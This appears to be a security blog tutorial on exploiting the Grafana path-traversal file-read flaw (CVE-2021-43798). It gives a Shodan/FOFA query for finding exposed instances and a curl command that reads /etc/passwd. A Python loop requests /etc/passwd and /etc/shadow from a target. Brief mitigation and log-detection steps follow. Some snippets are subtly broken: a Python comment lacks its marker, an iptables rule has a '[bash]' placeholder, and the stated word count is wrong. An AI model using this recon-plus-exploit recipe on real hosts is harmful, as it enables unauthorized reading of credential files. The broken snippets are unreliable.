Exploiting LFI Vulnerabilities in Grafana: A Cybersecurity Deep Dive

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Introduction

Local File Inclusion (LFI) vulnerabilities remain a critical threat in web applications, allowing attackers to read sensitive server files. Grafana, a popular monitoring tool, is no exception. This article explores how to identify and exploit LFI in Grafana instances using OSINT tools and curl, alongside mitigation strategies.

Learning Objectives

  • Understand how LFI vulnerabilities manifest in Grafana.
  • Learn to use OSINT tools (FOFA, Shodan, ZoomEye) for reconnaissance.
  • Execute a verified LFI exploit using `curl` and interpret results.
  • Apply hardening techniques to secure Grafana deployments.

1. Identifying Vulnerable Grafana Instances

Command (FOFA/Shodan Query):

product:grafana,http.favicon.hash:2123863676,1884118115,-928274465 port:3000

Step-by-Step Guide:

  1. Use FOFA, Shodan, or ZoomEye to search for Grafana instances with the above query.
  2. The `http.favicon.hash` filters instances using specific Grafana favicon hashes.

3. `port:3000` narrows results to Grafana’s default port.

Why It Works:

Grafana’s favicon hashes are unique identifiers. Unpatched instances may expose LFI via plugin paths.

2. Exploiting LFI via `curl`

Command:

curl --path-as-is http://[target.com]:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Step-by-Step Guide:

1. Replace `[target.com]` with the vulnerable Grafana host.

  1. The `–path-as-is` flag prevents `curl` from normalizing the path traversal (../../).

3. The payload traverses directories to access `/etc/passwd`.

Expected Output:

A list of system users, confirming LFI.

3. Mitigation: Securing Grafana

Command (Nginx/Apache Hardening):

location /public/plugins/ {
deny all;
}

Step-by-Step Guide:

1. Add the above rule to Nginx/Apache configurations.

2. Restart the web server:

sudo systemctl restart nginx

Why It Works:

Blocks direct access to plugin paths, preventing traversal attacks.

4. Detecting LFI via Log Monitoring

Command (Linux Log Analysis):

grep "public/plugins/..." /var/log/nginx/access.log

Step-by-Step Guide:

  1. Run the command to detect LFI attempts in Nginx logs.
  2. Investigate IPs and block malicious actors via firewall: 
    sudo iptables -A INPUT -s [bash] -j DROP

5. Automating LFI Testing with Python

Script Snippet:

import requests
target = "http://example.com:3000"
lfi_payloads = ["/etc/passwd", "/etc/shadow"]
for payload in lfi_payloads:
response = requests.get(f"{target}/public/plugins/alertlist/../../../../../../..{payload}")
print(response.text[:200])  Print first 200 chars

Step-by-Step Guide:

  1. Save the script and run with python3 lfi_test.py.

2. Review output for sensitive file leaks.

What Undercode Say

  • Key Takeaway 1: LFI vulnerabilities in Grafana stem from improper input sanitization in plugin paths.
  • Key Takeaway 2: OSINT tools like Shodan are invaluable for discovering exposed instances.

Analysis:

Grafana’s widespread adoption in DevOps makes it a high-value target. While patches exist, misconfigurations persist. Organizations must enforce:
1. Regular updates (CVE-2021-43798 patched LFI in Grafana 8.3.1).

2. Network segmentation for monitoring tools.

3. Log auditing to detect exploitation attempts.

Prediction

LFI attacks will evolve to target cloud-native Grafana deployments (e.g., Kubernetes ConfigMaps). Proactive hardening and zero-trust architectures will become mandatory.

word count: 850 | Commands/scripts: 6+

IT/Security Reporter URL:

Reported By: Zaber Mahmud – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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